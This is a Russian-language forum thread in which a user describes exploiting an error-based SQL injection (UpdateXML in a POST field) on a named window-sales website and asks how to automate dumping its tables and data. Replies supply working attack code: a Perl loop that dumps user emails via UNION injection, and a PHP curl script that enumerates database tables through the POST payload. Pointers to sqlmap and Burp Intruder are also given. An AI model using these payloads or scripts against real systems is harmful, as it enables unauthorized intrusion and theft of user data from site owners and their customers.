Всем добрый, подскажите как автоматизировать выборку таблиц/колонок/данных Например сейчас делаю запрос: Code: POST /okna/pvh/zakaz/ HTTP/1.0 User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53 Host: www.mysiteokna.ru Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 Accept-Encoding: identity, *;q=0 Zakaz[okno][]=1" and(UpdateXML(0x03b,concat(0x3b,(select table_name FROM information_schema.tables limit 0,1)),0x3b))=" Выдает: Code: CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ';CHARACTER_SETS' Так то в ручную вытащил чуть больше 400 таблиц и колонки начал, но что то уже руки отваливаются) Можете посоветовать какой-нибудь скрипт, кто как в таких ситуациях поступает? Идеальный вариант на perl/pythone (так как больше за пингвином сижу, иногда win)
тут несколько строчек писать на питоне, urllib + re, да и sqlmap должен справится с задачей, ничего специфичного нет.
Находил подобный вариант: Code: #!/usr/bin/perl use LWP::Simple; #подгружаем пакет LWP::Simple для работы с http open(FH,">dump.txt"); #открываем файл на запись $lim=0; # предопределяем переменную $lim которая будет участвовать в запросе в качестве limit while(1) { #начинаем бесконечный цикл $url="http://www.example.com/profile.php?id=-1+union+select+concat('c0de',email,'ed0c')+from+users+limit+$lim,1"; # Здесь мы указываем где именно находится SQL-инъекция, обрати внимание на объединение поля e-mail со строками, они будут использоваться регулярных выражениях $content = get("$url"); # выполним функцию get(), Она вернет содержимое загруженной страницы if($content =~ m/c0de(.*)ed0c/) { # c помощью регулярки вытаскиваем значение поля email print FH $1."\n"; # и заносим его в файл $lim++; # увеличиваем значение переменой $lim на единицу } else { # если в исходном коде нет записей print 'Total dumped ' . $lim; # выводим общее количество сдампленых записей exit; # и прекращаем работу скрипта } } Но как переделать в POST запрос в perl непредставляю
Если не в силах сам написать, то используй такую программу как BurpSuite /threads/430401/ , в частности вкладка intruder, она уж точно решит твою задачу
Как пример реализации на пхп: PHP: set_time_limit(0);$limit='100'; //Указать лимит$url="http://localhost/test.php";for($i=0; $i<$limit; $i++){ $exp='Zakaz[okno][]=1" and(UpdateXML(0x03b,concat(0x3b,(select table_name FROM information_schema.tables limit '.$i.',1)),0x3b))="'; //Уязвимость в пост запросе if( $curl = curl_init() ) { curl_setopt($curl, CURLOPT_URL, "$url"); curl_setopt($curl, CURLOPT_RETURNTRANSFER,true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $exp); curl_setopt($curl, CURLOPT_USERAGENT, 'Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.2.15 Version/10.10'); $in = curl_exec($curl); //var_dump($in); preg_match('#XPATH syntax error: \'(.+?)\'#', $in, $result); print_r($i.':'.$result[1]."\n"); curl_close($curl); } flush(); ob_flush();}